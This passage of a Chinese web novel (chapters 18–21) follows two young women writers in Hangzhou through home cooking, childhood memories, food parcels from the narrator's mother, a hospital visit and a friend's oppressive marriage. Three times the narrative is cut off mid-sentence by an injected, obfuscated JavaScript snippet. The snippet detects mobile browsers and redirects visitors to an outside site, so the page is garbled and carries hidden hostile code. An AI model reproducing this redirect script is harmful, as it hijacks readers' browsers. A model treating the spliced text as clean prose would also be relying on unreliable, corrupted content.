汤有花甲冬瓜汤、西红柿蛋花汤、菠菜蛋花汤、紫菜蛋花汤、番茄蔬菜汤、潮灿牛丸汤、西红柿豆腐汤...... 馒头有红糖馒头、黑面馒头、南瓜玉米馒头、山药枣泥馒头、蔬菜馒头、老面馒头、窝窝头...... 偶尔我们俩会觉得单调,这时候就简单炒个菜。 减肥的人看什么都馋,饥饿感涌上来的时候恨不得一口气吃五个外卖小哥,什么火锅烧烤炸鸡啤酒汉堡牛排什么的,脑子里全是些重油重盐的东西。 简而言之——本宫就想吃些鲜香刮辣的菜。 那有没有口味很鲜香刺激但又很减脂健康的菜肴呢? ——我和唐雨薇发现了爆炒大头菜。 爆炒大头菜好啊,没有肉,全是菜,放橄榄油爆炒,摄入的全是健康油脂,让味蕾满足的同时,又完全没有长胖的负担。 晚餐很快就做好了,花甲冬瓜汤,一大盆爆炒大头菜,两个热好的南瓜玉米馒头,约有成年人拳头那么大。 我们俩一边喝汤一边咔嚓咔嚓地嚼爆炸大头菜,像极了乡下树趟子里咔咔嚼草的牛和马。 唐雨薇说道:“牛和马是怎么嚼草的,是上下牙开合,还是用侧脸咀嚼?” 城市里的人基本没近距离观摩过牛和马吃草的样子,它们吃草的样子特别好玩,慢悠悠的,但又吃得很快,鲜香的草叶在嘴边晃两下,很快就被吃没了。 小学的时候写完作业没事干,我就去看牛马吃草,有一次摸了马尾巴,那马冲我打了个响鼻,很不耐烦地踹了我一脚。 我说:“那肯定不是上下牙开合,那样的话太喜感了,更像是人类闭着嘴吃东西的样子。” 唐雨薇说道:“那牛和马吃爆炒大头菜么?” “我没见过,但猪吃。”想起我家的猪,我又说道,“猪是杂食动物,我忘了是哪个村来着,有个小孩去猪圈里被猪啃没了半张脸,我妈小时候总吓我,说我不好好睡觉就把我丢猪圈里。” 唐雨薇受到了惊吓。 “农村的生态文明就是很野蛮的,”我叹气,“那会条件太差了,我小时候还生过虱子呢。” “虱子?”唐雨薇又一哆嗦,“我只在纪录片里看到过这玩意!” “你知道篦子么?就是那种齿很密的梳子,”我比划了一个梳头的姿势,“用篦子梳头发,就会梳下来很多的虱子,把虱子拍扁,就会砰的爆出一团血。” 那些恶心的血腥片唐雨薇看了不少,连《下水道美人鱼》这种片子都看完了,她虽然一惊一乍,但明显已经练就出一颗百毒不侵的心,一边大呼小叫,一边扒花甲,左手边已经垒起了一小堆花甲壳。 我妈干完农活之后特别喜欢把我按在她腿上给我抓跳蚤和虮子(虱子产的卵)。 小孩子哪能呆得住啊,我就像一条大鲤子鱼,在我妈腿上berber乱蹦。 乡下的傍晚特别安静,风很柔和,门前的大树发出沙沙的轻响,在院子里跑来跑去的鸡偶尔会叫两声。 我趴在妈妈的大腿上,被她按着脑袋薅头发,有时候能听见虮子被挤扁的声音,脆脆的。 在我上小学三年级的时候,虱子忽然绝迹了。 恍惚是一夕之间,谁也搞不清楚是怎么回事,这种难缠的小玩意忽然就找不到了。 那会我们家在用一款名叫花香的洗发露,特别香特别香,我妈说是洗发香波把虱子和虮子给熏死了。 过了一段时间,我们家换了洗发香波,虱子和虮子又短暂地出现过一阵,然后又绝迹了,逐渐成为了记忆中才存在过的生物。 唐雨薇听了之后觉得很稀奇,“你说是不是洗发水对虱子的健康有害啊?” 我听得直挠头:“啊不,你怎么还关注虱子的健康呢?” “虽然抛开剂量谈毒性都是耍流氓,但洗发水里的一些化学元素对虱子来说可能是一场史无前例的灾难,”唐雨薇仔细琢磨,“听说以前的人掉头发特别少。” 她这么一说,我情不自禁地摸了摸自己的头发。 小时候我头发特别厚,去理发店我妈都会让理发师打薄头发。现在去理发店我都是让理发师剪个蓬松的、显得我发量很多的发型。 说着说着,晚餐已经慢悠悠地吃完了,桌上垒起了两堆高高的花甲壳,爆炸大头菜也吃完了,只剩两片干辣椒躺在盆底。 我去厨房刷碗,又拿着新买的海绵拖布把地拖了一遍,然后又拿着吸尘器开始吸毛毯里的头发和灰尘。 唐雨薇翘着二郎腿躺在沙发上玩手机,蓝色大荷叶边睡裙从她腿上滑下去,全都堆在腿根那里,两条大腿白的晃眼睛。 我虽非女同,但也好色许久,常言道,单身人士多博爱,看狗都清秀,男女亦如此,所以只能色心萌动,只好眼观长腿,心叹好白,我说的对吗? 唐雨薇是冷白皮,啥时候都白,我是橄榄皮,在太阳底下白的像一具女尸,但在室内我就有点发黄。 收拾完屋子,我坐在沙发另一头,盯着唐雨薇的大长腿感叹,“你这腿真是又长又细又白,跳芭蕾的都这样么?” “跳芭蕾的时候没这么细,肌肉很明显,”她一边说一边坐起来,把我的手放在她的小腿上,“其实你现在仔细摸摸,还是能感受到的。” 一上手我才发现她大腿不仅白,还很滑,我来来回回摸了两下,手感实在太好,又忍不住来来回回摸了好几下。 放下手一抬头,唐雨薇正笑着看我,栗棕色的长发真的好显白啊,衬得她那张脸肤若凝脂的。 “你这手法也太下流了!” “你怎能凭空污人清白!”我狠狠捏了一把她的大腿,“我连恋爱都没谈过,怎么能知道什么手法是下流的,什么手法是不下流的!” 她一愣,伸手掰我的脸,“不像啊,长得这么小白花,怎么都有很多人追吧?” “高中读文科班,班里就三个男生,”我仰天长叹,“集训的时候倒是有男生送我水果,可那时候天空都是灰的,哪有心思谈恋爱啊。” “那大学呢?” “有个男生追我,看到我室友更好看就换目标了。” “除此之外呢?” “除此之外就没什么之外了,”我努力想了想,“有一次去听考研讲座,老师问我要考哪个学校,我随口说了句清华,讲座结束后我们班的一个男生忽然跑来问我。” 唐雨薇眼睛一亮,“问你什么?” “他问我非要考清华么?” “那你当时的反应呢?” “我忘了哎,好像说了句是,然后那个男生看起来挺怅然的。”我又挠头,“你说我是不是错过了一桩好姻缘?” 唐雨薇细细分析,“你当时单身,他如果喜欢你就应该追你,虽然小说里总有一些酸涩的恋爱情节,但我个人觉得,说不出口的爱就不是爱,爱是很宝贵的,他把这么宝贵的东西藏起来不给你看,那就相当于有藏宝图不给你看,有钱不给你花,四舍五入那就是不爱你啊!” 我震惊了:“还能这么理解?!” 唐雨薇重重点头:“就应该这么理解!” 我若有所思地摸下巴,“你这么懂,应该谈过挺多次恋爱吧?” 唐雨薇摇头。 “没有很多次啊?” 唐雨薇又摇头。 “那是谈过一两次?” 唐雨薇继续摇头。 “我勒个去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175283|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不会一次都没谈过吧!” 唐雨薇点头,竖起一根手指指了指自己,“我,母胎solo,所以我妈才天天让我相亲,她说一个女孩子一旦单身到25岁,过了最想恋爱的年纪,那这个人一辈子都不会谈恋爱结婚的。” 我不可思议,“你这么漂亮啊,大美女啊,还是个小富婆,在图书馆看个书都有男生要你微信,居然没有谈过恋爱!” “我总觉得男生身上的味道不好闻,油腻腻的,我大学室友和我吐槽她男友,睡过的地方全是黄色的,”唐雨薇捏了捏鼻子,“而且你不觉男性的某个器|官很恶心么,我一旦想到要和这种东西发生亲密接触就浑身起鸡皮疙瘩。” “可是你在po里逛得挺开心的啊!” “书里的男人和现实的男人能一样么,实不相瞒,我以前还追过星呢,我和一个追星的朋友去探班,结果那明星助理来要我微信,一瞬间就幻灭了你知道么。” 我的嘴巴张大了。 “男明星睡粉又不是什么稀罕事,”唐雨薇耸肩,“我追星的那会,认识的一个小美女睡过好几个小明星呢。” “这也太夸张了吧!” “这个世界就是人与人之间繁衍出来的,生物的本能而已,”唐雨薇抻了个懒腰,“所以我还是保持单身女子的清爽吧,哪怕一个人老死在家里。” 她搂着我的肩膀,把我从沙发上薅起来,硬拉着我陪她一起拉片去了。 九月结束后,唐雨薇那本文已经登上了金榜首位,热度很高,她找我约稿。 虽然我的档期已经排到了明年的明年,但我是不会拒绝唐雨薇的。 时间就像海绵里的水,挤一挤总能有的。 我用挤出来的时间画了唐雨薇那本书里的主角攻和主角受,还有一个大反派,每一张都是厚涂,很适合唐雨薇那本书里阴暗宏大的世界背景。 主角攻一张,主角受一张,主角攻受合体的一张,大反派一张,每张都是横插大场景,平均每张用时19个小时以上(大部分时间都在抓细节),画完之后我又画了一堆可爱的Q版小人。 不是我吹嘘自己,现在的我画这种Q版小人可谓是手到擒来,15分钟就能画完一个。 唐雨薇以前约稿都是那种平涂和伪厚涂,为了给她惊喜感,画画的时候我禁止她偷看。一口气将成品发给她之后,唐雨薇举着平板愣了好半天。 我心想总不能白拿人家的金镯子,画得可卖力了,把吃奶的劲都使出来了,还亲自调了两个特别好用的笔刷。 唐雨薇感动的不行,带我出去吃饭。 吃完饭之后拉着我去了专柜,我顿感不妙。 中国人嘛,别管哪个地方,这时候肯定要拉扯几个回合的。 第一回合,唐雨薇说女生这一辈子必须要有一个名牌包,我说我家里的尿素袋子也挺好的。 第二回合,唐雨薇说你知道商用横插大场景一张多少钱么,我说我现在籍籍无名不值那个价。 第三回合,唐雨薇说你这样的话我以后怎么心安理得地找你约稿,我摆手说没事,我会主动给你画,你是否心安理得不重要,我自己心安理得就行了。 第四回合,唐雨薇说我现在这死出像西游记里遇见女妖精的唐僧,我连忙说比不了比不了,哪能比得上咱中国的顶级食材。 柜姐已经笑得直不起腰了,拿包的手都在抖,就连一旁看包的顾客都在捂嘴笑。 第五回合,唐雨薇往我腰上拧了一下,那一下不轻不重的,一股令人酥麻的电流噼里啪啦地从我尾椎一路窜上去,我一下就泄了力,捂着嘴巴才没让自己鬼叫出声。 于是我就这样收到了人生里的第一个奢侈品包包。 ——一个白色的香奈儿双肩小书包。 19.第 19 章 小书包很实用,可以装个手机、口红、气垫、钱包、发圈、钥匙扣什么的。 我装东西的时候很小心,生怕一些尖锐的东西把娇贵的小书包给刮花了。 我妈知道唐雨薇给我买了一个如此贵的包,一定要我感谢她,我说她什么也不缺,我妈略一思索,对我说道:“咱们园子的苞米下来了,柿子也熟了,我给你们寄点过去,都是纯天然的。” 我说道:“妈,你再给我邮点大米好么。” 我们辽宁盘锦的大米很好吃,反正比杭州超市里卖的那些大米好吃多了。 我妈叹气:“你说你过得啥生活啊,咋连好吃的大米也买不着。” 第二天,我妈居然从辽宁跑去了黑龙江,找到了我三姑的姐姐的丈夫的表兄的大哥的大舅的连襟兄弟。 这位老大叔连夜开着收割机收割了一堆稻子,然后把收割的稻子粒用机器磨去外皮,再开着四轮车把两袋米送到了他们村的快递驿站。 老大叔开车,我妈和老大叔的老婆坐在车斗里吐槽各自的孩子。四轮车拉着四袋米,两袋寄给我,另外两袋寄给老大叔在深圳闯荡的儿子。 于是两袋五十斤重的大米,就这样千里迢迢地从黑龙江的某个乡村送到了杭州唐雨薇的家。 两个胖墩墩的绿色蛇皮袋被顺丰小哥用小推车推进门,立在玄关的鞋柜那儿,我和唐雨薇近乎呆滞地看着这两个突然入侵的庞然大物,大脑几乎死机。 我震惊了。 唐雨薇更震惊。 我和唐雨薇都是去超市买那种1kg或者5kg包装的真空压缩米,吃完了再补。 作为一个精致而富有的上海姑娘,唐雨薇连服装批发城这种地方都没去过,买什么东西都要精品,炒菜都只用橄榄油,如此粗犷的包装实在是难为她了。 我看见她深吸了一口气,颤颤巍巍地拿起剪子把蛇皮袋拆开了。 一股浓郁的米香蛮横地从粗犷的蛇皮袋里冲了出来。 和煮好的大米冒出的香气不一样,那是一种非常清新的、充满了大自然气息的、甚至还带着一丝淡淡的草木香的那种、属于大自然和丰收的香气。 米香持续了一会,就像挥发的香水一样,很快就淡了,但唐雨薇已经捡着好几个米粒细细研究了。 到了午饭的时间,我们开始煮大米,米饭的香味飘了一屋子,开锅的时候我陶醉的不得了,赶紧盛了一碗,唐雨薇吃了一口,眼睛立刻瞪大了。 东北的五常大米很有名,但五常大米和五常大米的差距也是非常大的。 五常大米有很多品种,其中最好吃是稻花香2号,但也不是所有的稻花香2号都好吃,因为土质和水质不一样,种出的大米也不一样。 这东西很玄学,我家的园子和霜大娘家的园子紧挨着,种的菜籽都是一样的,但我家园子种出的菜永远比霜大娘家的菜好吃。 而这位老大叔家里的稻花香2号也是如此,他家的水稻好像被自然之神眷顾了,病虫害很少,麦穗永远都沉甸饱满。 他有一块水稻田,那个田里的米不外卖,是留给自己家吃的,偶尔也会送一点给亲戚,剩下的就以稍高一点的价格卖给村里的人。 这大米煮出来香甜油润,南方天气潮湿,唐雨薇买了一堆真空压缩袋,我俩整整一下午都蹲在地上密封这些大米。 我俩把密封好的大米放进储物间,唐雨薇又她妈妈邮过去20斤,过了两天,唐阿姨问我这米还有没有,她想送客户。 我妈又跑了一趟黑龙江,从老大叔那儿弄来了100斤大米邮到了上海。 100斤是老大叔的极限,不是我妈的极限,要是条件允许,估计我妈能把老大叔那块地里的水稻全都薅过来。 又过了两天,我妈邮来了两箱家里种的柿子和小黄瓜,还有两箱玉米。 乡下种出来的柿子长相很一般,甚至有点奇形怪状,长的圆的扁的红的绿的黄的啥形状啥形状都有,上面还沾着土,看着有点寒碜。 唐雨薇把柿子洗干净,挑了个长相不错的绿柿子咬了一口,哇了一声。 柿子吃起来特别绵软,里面沙沙的,酸甜浓郁,东北的乡下农村家家都种这种柿子,用这种柿子炒鸡蛋压根不用放番茄酱和糖调味,不像我在超市里的买的西红柿,总感觉淡了吧唧的。 最惊艳的还是玉米,我妈邮了两种,一种是黄玉米,一种是白玉米。黄玉米的皮非常薄,吃起来香糯糯的;白玉米皮更厚,吃起来没那么糯,但非常非常的甜。 唐雨薇又惊呆了。 我说道:“其实这种柿子不是什么稀罕物,农村乡下家家都有,但是这种柿子很面很软,运输成本太高,还是超市里卖的那种柿子抗造。” 我们又拆开了装黄瓜的箱子,里面都是刚满月的黄瓜崽崽,嫩的要命。 唐雨薇吃的很开心,一边啃黄瓜一边问道:“这是怎么种出来的,用了很多的好肥料吗?” 我没敢告诉唐雨薇,我勤劳的爷爷经常挑大粪回来种地,还号召我们在园子里拉屎,说是大粪能让土壤更肥沃。 蔬菜瓜果这种很快就吃完了,唐雨薇还想吃玉米,我只好告诉她乡下的玉米好吃的时期就那么几天,早几天太嫩,晚几天太老。 唐雨薇只能遗憾地叹口气。 我和她把这些玉米煮熟之后切成小块放在冰箱里冷冻,于是晚上我们喝的汤就变成了玉米排骨汤。 吃完了乡下送来的玉米,再吃超市里买的任何玉米都差点味道了,唐雨薇有点惆怅。 过了几天,我妈又送来了两箱鹅蛋,是一个赊账买化肥的人还不上钱,拿家里的鹅蛋来抵债了。 我妈说鹅蛋特别滋补,我们年轻人经常熬夜身体都发虚,让我一天吃一个。 唐雨薇不喜欢吃鹅蛋,杭州这边的鹅蛋有点贵,一个鹅蛋居然卖10块钱,她有一次买了两个鹅蛋煮着吃,吃一口就觉得特别腥,全都扔掉了。 她不理解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185312|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么鹅蛋要这么贵。我说大鹅产蛋的周期很长,一只鸡一年能下200多枚蛋,大鹅一年也就下60多个蛋,而且大鹅的饭量可比鸡大多了。 纸箱子里的鹅蛋洁白圆润,个头特别大,我煮了两个鹅蛋,唐雨薇谨慎地尝了一口。 她又震惊了,“为什么你妈妈送来的鹅蛋没有一点腥味啊?” “可能是乡下的大鹅不喂饲料,吃的都是菜叶子,我小时候经常掰玉米杆的叶子喂大鹅。” 我觉得我和唐雨薇就像乡下的野猫和城市里的家猫,野猫天天吃新鲜的老鼠,但城市里的家猫会吃很多精致的罐头,于是野猫好奇家猫的罐头,家猫好奇野猫的新鲜老鼠。 那个很大很能装的双开门冰箱又被装满了,有一半都是我妈妈对我的母爱。 她没怎么见识过大城市的繁华和便利,却总是觉得我在外面很辛苦,担心我吃不饱穿不暖。即使现在日子好过很多,她也很节俭,连家里的陈米也舍不得扔,可她为了我能吃上好一点的米饭,能从辽宁跑到黑龙江。 过了两天,我爸又给我打电话,问我缺不缺钱。 他不像我妈那样会表达对我的爱,也许有些父亲在表达对儿女的爱时,总是会很拘谨很不自在。 我爸就不太会表达对我的关心,每次打电话总会一遍又一遍地问我缺不缺钱啊,现在也是这样。 我在我家最穷的时候生了一场病,他带我去了中国医科大学附属第一医院,在一堆乌泱乌泱的人群中他被挤到了窗口,窗口的护士问他挂什么号,不怎么来大城市的我爸什么也不懂,只会不停的重复“要挂最好的”。 他的声音从手机那头传过来,“现在有钱了,不像以前那时候了,现在家里不缺钱,没什么花钱的地方,你缺钱要和家里说。” 以前那时候我家是真穷啊,我读初二那年家里都没钱交学费了,他为了给我交学费,去海上的一艘渔船打工。 有一次他从海上回来看我,晒得又瘦又黑,拎着一个打了补丁的布袋子,给我带了几袋海蛎子肉。 他坐在我身边说海上的风浪有多大,我低着头,默默吐肉里的沙子。 寒假结束后他送我上学,我们起得很早,他背着大包小包领着我去乡里等客车。 朔风凛凛的冬夜,那条路被又厚又硬的冰雪覆盖着,在黧黑的夜里铺向远方。夹杂着雪花的北风像冷刀子抽脸,我冻的手脚都麻了,围在脸上的围脖都是呼出的热气结成的霜,连睫毛上都是细小的冰粒子。 我转头看我爸,发现他睫毛和眉毛都白了,好像在一瞬间看到了他以后老去的样子。 他以为我冷,把他脸上的灰围脖摘下来裹在我脸上。 不知道是当时的我太小,还是那条路真的太长,我觉得自己走了好长好长的时间,一直走到天空泛起鱼肚白。 初升的太阳像个红苹果,天上的云是寥落的枝叶,它孤独地挂在东方的天空上,而前方的路还是那么遥远那么长。 20.第 20 章 我在某宝给我爸买了24箱青岛白啤。 唐雨薇好奇地问我:“为什么一次性买这么多箱,乡下取快递不方便,你爸爸搬起来很麻烦吧?” 我说道:“青岛白啤在我爸的消费观里算是很贵的啤酒了,如果一箱一箱的买,我爸会因为心疼钱而舍不得喝的。” “你爸爸好节俭,咱们喝杯奶茶都要十几块钱了。” 这个世界就是很参差的。 很多人奋斗一辈子都无法在上海和杭州买到不错的房子,但杭州的房子只是唐雨薇的成年礼物。 很多作者写了好多年都无法写出的爆文,唐雨薇在高考放假那年随手敲敲电脑就写出来了。 很多莘莘学子夜以继日地苦学都考不上的复旦大学,是唐雨薇考砸之后的保底选择。 不过人生嘛,穷人有自己痛苦,富人也有自己的痛苦,穷人的痛苦都是相似的,而富人的痛苦各有各的不同。 就比如唐雨薇,很难想象她居然害怕去医院。 一旦要去医院,她就会变得焦虑和拖延,就像一只应激的城市家猫。 她眼睛开始不舒服了,写文的时候开始下意识地揉眼睛,结果大清早一起来,她的两只眼睛红的像只兔子,全都是密密麻麻的红血丝。 我说去医院看看吧。 结果唐雨薇死活不干,非要在网上下单眼药水。 唐雨薇闭着眼睛躺在床上,说话的声音听起来像是要哭了:“去医院很麻烦。” 我不理解而且大为震惊:“你为了吃一顿好吃的能坐一个小时的车,现在眼睛出毛病了,你居然不肯花费一点时间去医院?” 唐雨薇捂着眼睛,倔强地说道:“我不想去,过两天就好了,只是发炎而已。” “眼睛都红成这样了,还叫而已?”我把她从床上拽起来一顿好说歹说,她终于用手机挂了号,但到了我们要出门的时候,她又把伸出去的脚迈了回来,眨着一双红彤彤的眼睛,语气虚浮的说道:“今天有点累,明天再去吧。” 我赶紧把她的手机和装证件的卡包塞到背包里,一把将她拽出了门。 我用滴滴打了车,这一路上唐雨薇明显坐立难安,就好像屁股底下有个针毡一样,在我旁边扭来扭去。 在医院的门诊部下车后,唐雨薇站在那儿不往前走,我拉了两下,她才一步一顿地被我拽进了医院。 唐雨薇哭哭唧唧地做了一通检查后,医生说她看电脑太多,干眼症加眼疲劳外加细菌感染,需要开点药膏和眼药水,但是好的那瓶眼药水有点贵。 唐雨薇已经预设好那是一瓶上千块钱的药水了,对医生说没问题。 医生开完处方单,我俩凑在一块往手机上一看,想开一开眼界,结果那瓶治疗干眼症的药水只需要68块钱。 唐雨薇犹豫了一会儿,不太自信地问我:“医生是给我开错眼药水了吗?” 我叹气:“不是医生开错眼药水,是医生见到了太多的贫穷困苦,一分钱难倒英雄汉的事儿太多了,特别在医院这种地方,而且68块钱一瓶的眼药水也真的不算便宜了,用频繁点,一个月怎么着也得用掉两瓶了。” 唐雨薇听着听着又要揉眼睛,我赶紧把她的手拽下来了。 离开医院后,唐雨薇的心情明显变好了,皱起的五官都开始舒展了,一边迎风流泪一边眯着眼睛说道:“咱们两个宅家这么多天,好不容易出来一次,不如去外面吃个饭吧,不要辜负这大好秋光” 我欣然同意:“那吃啥?” “我想吃火锅,”唐雨薇使劲眨着通红的眼睛,“想吃番茄锅和菌汤锅。” 于是我们俩去了海底捞,下车的时候一阵风吹来,唐雨薇的眼睛开始迎风流泪了,眼泪像小溪一样往下淌。 她泪流满面地走进海底捞,服务员以为唐雨薇失恋了,居然还特别贴心地送了她一个蛋糕。 于是唐雨薇破涕为笑,又喜笑颜开了。 在海底捞做完美甲之后,唐雨薇更是心花怒放,一边甩着银色亮片美甲一边哼着小调回了家。 抹药膏、滴眼药水、清淡饮食合理用眼,第二天中午她的眼睛就有了明显好转,红血丝不那么多了。 因为有存稿,她打算休息一下,让眼睛歇个几天。我们又去了一家饭店,结果踩了一个大雷,唐雨薇发了一个朋友吐槽杭州市美食荒漠。 发完朋友的第二天,唐雨薇的一个很久没联系的朋友突然要请她吃饭,说是要和以前相熟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192426|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朋友聚一聚。 “哇,你在杭州有朋友啊?” “也算是朋友吧,”唐雨薇脸色有点微妙,“是刚写文时认识的朋友。” “哪个作者啊?”我好奇的很,“不会也是很有名的大作者吧?” “你知道花束北么?” 我摇头,“不知道哎。” “和我一样写耽美的,曾经很火。” 我敏锐地捕捉到了“曾经”二字,但凡对话中出现这两个字,一定包含着巨大的信息量,这背后百分百有不为人知的隐情和可以深入挖掘的故事。 我点开手机一查,这又是一个很牛很厉害的大作者,但她最新的一本完结文已经是两年前的了,正在连载的一本差不多三个月才更新一章,读者们都怨声载道的。 “她的那本文怎么这么久没更新了,是赚够了钱之后已经没有写文的动力了吗,还是缺乏灵感写不下去了?” “钱肯定没有赚够,是否缺乏灵感就不知道了。”唐雨薇摇头,“她结婚三年了,孩子都生了,也许是没时间吧,毕竟写作是需要酝酿的,谁也不能时刻保证自己文思泉涌。” 唐雨薇刚写文的时候非常喜欢水论坛,认识了很多的同行,花束北也是其中一个。两人加了企鹅号和微信号,天天相约码字,认识了8年之久,曾经的关系非常不错。 “我们还一起去昆明旅游呢,”唐雨薇幽幽说道,“她结婚之后我们就不怎么联系了,我给她发红包,她给我邮了一些礼物,我再和她聊天,她就不回我消息了。” “这是翻脸不认人了?” “谁知道她是怎么想的。” 我甩了甩刘海,“那你去不去啊?” 唐雨薇思索了一阵,绞着手指说道:“要是只有我和她,我就不去了,但是小沫也去了,我还是去吧,要不然总会耿耿于怀,心里反复琢磨这件事。” 小沫笔名是相濡以沫,也是一个单本百万稿费的知名耽美作者,除了耽美,小沫还写无cp,她们三个在同一时间认识,经常连麦码字,她们还一起交流写作心得,互相借鉴拉片笔记。 唐雨薇和小沫的关系还是很稳定的,于是她皱着眉头去了,临近傍晚时,她又一脸不高兴地回来了。 21.第 21 章 气冲冲的唐雨薇身后还有一个同样脸色不太好的年轻女生,她梳着黑色过肩长发,穿着粉衬衫和浅蓝色阔腿裤,身高比我矮一些,脸上戴着一个银框眼镜,不算特别漂亮,但很白净文秀。 她俩进来的时候,我正坐在沙发上啃苹果,唐雨薇一边穿拖鞋,一边给身后的女生介绍我:“她是鹿幼薇,也是咱们网站的作者,笔名是法外狂徒,写言情的。” “你好你好,”那个女生很腼腆地对我笑了一下,“我也是网文写手。” 我一时之间拿不准她是唐雨薇提到过的花束北还是相濡以沫,好在唐雨薇对我说道:“她就是相濡以沫,很有名的。” 相濡以沫又很腼腆地笑着,“也没有很出名。” 相濡以沫成为大神的时间比唐雨薇晚三年,毕竟不是每个作者都会像唐雨薇这样被老天爷追着喂饭。 相濡以沫写了六本文,从第七本开始成绩才逐渐好了起来。她的第8本书厚积薄发,终于收获了百万稿费,成为五星级的大作者。 唐雨薇去洗水果了,过了一会儿,她端上了一个超大的果盘,盘子里全都是切好的苹果橙子和西瓜。 我继续啃手里的苹果,汤雨薇和相濡以沫在茶几旁边坐下,大约是受了我的影响,各自叉起一瓣苹果嚼嚼嚼。 女生们一旦聚在一起肯定是少不了八卦的,我看着她俩都不算好看的脸色,吐出嘴里的苹果籽:“你们这是怎么了,怎么脸色一个比一个难看?” 唐雨薇拿着水果叉,凶狠地叉起一块菠萝,怒气冲冲地说道:“她好像有病,还是斯德哥尔摩那种病,简直就是一个受虐狂!” 相濡以沫也颇为沧桑地叹气,银色的细框眼镜后面是两只无精打采的眼睛,看起来命很苦的样子。 “不是朋友聚餐吗,怎么还闹得这么不愉快呢?” 唐雨薇狠狠地嚼着菠萝,“她简直有病啊,她婆婆居然管着她银行卡!” “啥玩意儿?”我开始迷惑了,“不都是媳妇管着老公的银行卡吗,怎么婆婆还管着媳妇的银行卡了呢?” 相濡以沫又开始叹气。 唐雨薇又怒道:“男方一家子都试图不让她写作,每次她坐在电脑前想写点什么东西,她婆婆或者老公就会把哭闹的孩子领进来。” 我又开始挠头,从左边头发挠到右边头发,“那要是回娘家呢,让她的爸妈来帮忙带孩子,自己抽出时间来写作呢?这种单本稿费过百万的大作者如果不写文真的很可惜啊!” 相濡以沫又叹气,竖起中指推了一下眼镜,“她家里有弟弟,她妈正忙着给她弟哄孩子呢,家里的房间都没有她的了。” “啊?”作为独生女的我大脑宕机了,“弟弟和姐姐不都是家里的孩子吗怎么能这样区别对待啊!” 相濡以沫又叹气:“农村耀祖和农村招娣可不一样。” 唐雨薇抬手揉太阳穴,“我真不明白,她的银行卡怎么能让她婆婆管着,她疯了么。” 我说道:“可能是性格比较软,但我更不能明白的是,为什么她写作的时候,她婆婆和她老公要带着哭闹的孩子来打断她。” “我也不明白,”唐雨薇摊手,“我觉得这一家子都好像有病似的。” “其实底层的很多人都这样啦,就喜欢相互为难,相互打压,”相濡以沫喝了一口水,“偷走了织女的羽衣,织女回不到天上去,才会为牛郎洗衣做饭带孩子。” 才华就是花束北的羽衣,但有人把她的羽衣藏起来了。 我特别唏嘘:“她的亲父母也太狠心了吧!怎么能这么舍得对待自己的女儿呢?” 唐雨薇说道: “花束北赚到钱之后就给家里买了房,买完房之后家里却没有她的房间,她家里要她还贷款吗,她没答应,家里就闹开了。” “那这房子不是她弟弟和父母住的吗,他们为啥不还啊?” 唐雨薇说道:“她弟一个月工资就2800,结婚的彩礼钱就把家里掏空了,结婚生子之后更是入不敷出,全靠啃老,只能逮着花束北这么个吸血包吸血了。” “现在花束北不肯当血包,对这样的家庭来说,这个女儿跟死了差不多,没必要认了,更不可能帮她带孩子。” 虽然大清已经亡了几百年了,但我也知道重男轻女是当下这个社会的普遍现象。 比如我大叔一家,我大叔喜欢女儿,偏心我大姐,我大娘就比较偏心我大哥,因为我大姐比较能赚钱,所以我大娘经常让我大姐去帮扶我大哥。 我大哥家的车库和其中一辆车都是我大姐出钱买的,这种正常的帮扶是每个人都能理解的,但这种敲骨吸髓式的帮扶就让我觉得很惊悚了,简直是在把亲女儿往泥潭里踩。 同样是女儿,唐雨薇可以花家里几百万去读普林斯顿大学,即使我家,我爸我妈都在很用力的托举我往上走,有时候我要向下滑落了,他们就会伸出手,紧紧的把我拽回来。 “可是这个也太重男轻女了吧!”我简直是越听越生气,“怎么能这样呢,既然女儿能赚钱,就该把家里的资源更多倾斜在女儿的身上啊,不喜欢女儿的话生女儿干什么,难道就是为了吸血的吗。” 相濡以沫又竖起中指推了推眼镜,“生女儿是为了换彩礼,嫁女儿的彩礼最终会变成给儿子娶媳妇的钱,我们江西的很多人家都是这样的。” 花束北和相濡以沫都是江西的。 不是说江西不好,我们东北在网上的风评也不太行,也不止江西和东北,比如我这个从来没有去过河南的人,一听到河南就会联想到偷井盖。 总之,花束北为了逃离原生家庭,嫁给了杭州的这个老公,没想到是从一个火坑跳到了另一个火坑。 “她现在没什么钱了,全靠旧文的订阅,”唐雨薇耸肩,“咱们网站的文没有完结的时候不是只能提一半的钱吗,她丈夫和婆婆不知道,以为她藏钱,就把她银行卡要走了。” “那她就给了?”我不理解并且大为震撼,“怎么能给呢,拿起菜刀就开干不行吗!” 